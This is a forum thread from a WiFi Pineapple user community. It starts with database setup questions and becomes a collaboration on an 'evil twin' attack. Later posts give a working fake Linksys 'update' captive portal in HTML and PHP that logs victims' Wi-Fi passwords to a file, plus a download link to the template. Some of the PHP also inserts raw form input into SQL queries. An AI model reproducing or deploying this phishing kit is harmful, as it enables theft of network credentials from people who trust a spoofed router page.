honolulu6969 Posted November 25, 2014 Share Posted November 25, 2014 hi im trying to install mysql on wifi pineapple so far the installation worked but i cant start mysql this is what i get : root@Pineapple:/# mysqld start 141125 22:56:53 [ERROR] Can't find messagefile '/usr/share/mysql/english/errmsg.sys' mysqld: Too many arguments (first extra is 'start'). Use --verbose --help to get a list of available options 141125 22:56:53 [ERROR] Aborting 141125 22:56:53 [Note] any help would be apreciate or any other way to install SQL DB on wifi pineapple thanks alot . Quote Link to comment Share on other sites More sharing options...
newbi3 Posted November 25, 2014 Share Posted November 25, 2014 just type "mysqld" without staying start and see what happens. Why mysql though? sqlite is more suited for a device like the pineapple Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 26, 2014 Author Share Posted November 26, 2014 thanks for your reply do you have any guide for installing sqllite on the mk5 all i found on google about installing sqllite on openwrt was in russian thanks again . Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted November 26, 2014 Share Posted November 26, 2014 Hi honolulu6969, Welcome to the forums! If you do not mind using SQLite on the WiFi Pineapple MKV, that is the best way to go. MySQL is simply too heavy. We already ship the PHP and Python libraries to interface with sqlite3 by default. If you want CLI access, simply do an "opkg update && opkg install sqlite3". Best Regards,Sebkinne Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 26, 2014 Author Share Posted November 26, 2014 root@Pineapple:~# opkg update && opkg install sqlite3 Downloading http://cloud.wifipineapple.com/mk5/packages/Packages.gz. Updated list of available packages in /var/opkg-lists/pineapple_packages. Unknown package 'sqlite3'. Collected errors: * opkg_install_cmd: Cannot install package sqlite3. :( Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted November 26, 2014 Share Posted November 26, 2014 Sorry, my mistake, it's "sqlite3-cli". Best regards, Sebkinne Quote Link to comment Share on other sites More sharing options...
fringes Posted November 26, 2014 Share Posted November 26, 2014 I agree with everyone else that sqlite3 is better suited for the pineapple. However if you do need mysql for some reason, you can always host it somewhere else and port forward the service port over an SSH tunnel. Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 27, 2014 Author Share Posted November 27, 2014 tnx for all your advises .... last thing what is better for the mk5 instead of dhcp3-server Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted November 27, 2014 Share Posted November 27, 2014 Dnsmasq is what the WiFi Pineapple uses. Best regards, Sebkinne Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 27, 2014 Author Share Posted November 27, 2014 (edited) last help im newbi with sqlite .. how can i translate this to sqlite3 : <?php session_start(); ob_start(); $host="localhost"; // Host name $username="root"; // Mysql username $db_name="home"; // Database name $tbl_name="key"; // Table name mysql_connect("$host", "$username")or die("Cannot connect to MySQL database."); mysql_select_db("$db_name")or die("MySQL database unavailable."); $password=$_POST['password']; $confirm=$_POST['confirm']; if ($password != $confirm) { header("location:error.html"); break; } mysql_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');"); echo "Updating ... $password"; sleep(6); header("location:updating.html"); ob_end_flush(); ?> Edited November 27, 2014 by honolulu6969 Quote Link to comment Share on other sites More sharing options...
cooper Posted November 27, 2014 Share Posted November 27, 2014 Come on now. It's not that hard... Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 28, 2014 Author Share Posted November 28, 2014 i did try but with no luck :( if somebody could translate this to sqlite3 i would really really apreciate. Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 28, 2014 Author Share Posted November 28, 2014 this is what i did i but i dont get nothing on the DB <?php session_start(); ob_start(); $host="localhost"; $username="root"; $db_name="home"; $tbl_name="keys"; sqlite3_open("$db_name"); $password=$_POST['password']; $confirm=$_POST['confirm']; if ($password != $confirm) { header("location:error.html"); break; } sqlite3_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');"); echo "Updating ... $password"; sleep(6); header("location:updating.html"); ob_end_flush(); ?> Quote Link to comment Share on other sites More sharing options...
cooper Posted November 28, 2014 Share Posted November 28, 2014 Well, here's a few clues: 1. According to the search function on the php website sqlite3_query doesn't appear to be a defined method. 2. I linked to docs for the SQLite3 *class* which you're not using at all. 3. Look at the example code for the constructor here for a complete example that opens a database, creates a table, adds something to it and then reads it back again. Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 29, 2014 Author Share Posted November 29, 2014 thanks alot guys i really apreciate and thanks for not giving me the answer directly so i learned something :) this worked for me if it can help somebody else <?php session_start(); ob_start(); $host="localhost"; $username="root"; $db_name="home"; $tbl_name="keys"; $db = new SQLite3('home'); $password=$_POST['password']; $confirm=$_POST['confirm']; if ($password != $confirm) { header("location:error.html"); break; } $db->exec('INSERT INTO keys (password, confirm) VALUES ("$password","$confirm")'); echo "Inserted row into table users <br />"; echo "Updating ... $password"; sleep(6); header("location:updating.html"); ob_end_flush(); ?> Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted November 29, 2014 Share Posted November 29, 2014 Hi honolulu6969, I still see two issues with your code: You have a sleep(6) in your code. In PHP, sleep simply delays the script execution. This means that any content on the page is NOT visible to the user (as the script hasn't fully executed yet). If you wish to sleep before redirecting to the updating.html, you should use javascript or a META tag. You are sending the location header after already sending output (the echo statements are output). This is not possible and will cause your PHP not to redirect you at all. Best Regards, Sebkinne Quote Link to comment Share on other sites More sharing options...
honolulu6969 Posted November 29, 2014 Author Share Posted November 29, 2014 (edited) im trying to use evil_twin linksys router page on mk5 i tough with the last change i made with sqlite3 it will work ... but im still not getting any info on DB .... everything else work good on kali linux everything work great with mysql but on mk5 with sqlite i cant get it to work .... before the pages wasent redirecting but now is redirecting and i still dont get the infos on sqlite3 DB any clue why is not sending the infos to sqlite3 ? Edited November 29, 2014 by honolulu6969 Quote Link to comment Share on other sites More sharing options...
petiepablo Posted March 4, 2015 Share Posted March 4, 2015 I have been working on something similar to what you are/were attempting and have had the same problems with the MK5. I have not been able to test my new approach (was up late and had to call it a night), but instead of having the PHP file use SQL to write the input to a database, as the MK5 seems to have trouble utilizing SQL from a PHP, have you thought about having the PHP write to a text file? Like I said, I started working on this last night, but here is the PHP I will test later today: <?phpif(isset($_POST['password']) && isset($_POST['confirm'])) {$data = $_POST['password'] . '-' . $_POST['confirm'] . "\n";$ret = file_put_contents('/tmp/mydata.txt', $data, FILE_APPEND | LOCK_EX);if($ret === false) {die('There was an error writing this file');}else {echo "$ret bytes written to file";}}else {die('no post data to process');} I will run some tests later and update. I also still haven't added a line for incorrect input (password != confirm) Quote Link to comment Share on other sites More sharing options...
petiepablo Posted March 5, 2015 Share Posted March 5, 2015 (edited) So I found out that nodogsplash will not run PHP, so I had to send the post data to the root www folder, where I dropped the PHP file. From the PHP file I linked the error.HTML and update.HTML files back to the nodogsplash. Here is the code: splash.html: <!DOCTYPE html> <!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]--> <!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]--> <!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]--> <!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]--> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title>Linksys Update</title> <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]--> </head> <body> <!-- Main Background --> <img src="$imagesdir/linksys_bg.png" style="position: absolute; top: 0px; left: 0px" width="1280" height="800" /> <form method="post" action="http://172.16.42.1/dbconnect.php"> <p> <input type="password" name="password" id="pass1" maxlength="64" style="position: absolute; top: 395px; left: 552px; z-index: 1; width: 410px; height: 44px; color: black; border: 0px solid; outline: none; background-color: transparent; font-size: 26px;" /> </p> <p> <input type="password" name="confirm" id="pass2" maxlength="64" style="position: absolute; top: 456px; left: 552px; z-index: 1; width: 410px; height: 44px; color: black; border: 0px solid; outline: none; background-color: transparent; font-size: 26px;" /> </p> <p> <input type="image" src="$imagesdir/update.png" style="position: absolute; top: 528px; left: 670px; z-index: 1;" /> </p> </form> <form method="post" name="form2" action="$imagesdir/cancel.html"> <p> <input type="image" src="$imagesdir/cancel.png" alt="Cancel Form" style="position: absolute; top: 528px; left: 830px; z-index: 1;" /> </p> </form> </body> </html> PHP file: <?php // Receive form Post data and Saving it in variables $name = @$_POST['password']; $email = @$_POST['confirm']; // Write the name of text file where data will be store $filename = "mydata.txt"; // Marge all the variables with text in a single variable. $f_data= ' Password : '.$name.' Confirm : '.$email.' ============================================================================== '; if ($name != $email) { header("location:http://172.16.42.1:2050/images/error.html"); break; } header("location:http://172.16.42.1:2050/images/updating.html"); $file = fopen($filename, "a"); fwrite($file,$f_data); fclose($file); ?> These are the two main files. I took a template that was used in this video: and manipulated it to write to text instead of using sql. He wrote a solid splash page. Here are the files I used: https://www.dropbox.com/s/q95gvrwkim4oae5/Pineapple.zip?dl=0 Edited March 5, 2015 by petiepablo Quote Link to comment Share on other sites More sharing options...
troter Posted March 14, 2015 Share Posted March 14, 2015 (edited) <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]--> is it not more easy to download this file and store locally ? PS:Thanks for sharing folder images.. what is the correct place for it ? www/images ? is it possible to move to sd and make a link ? Edited March 14, 2015 by troter Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.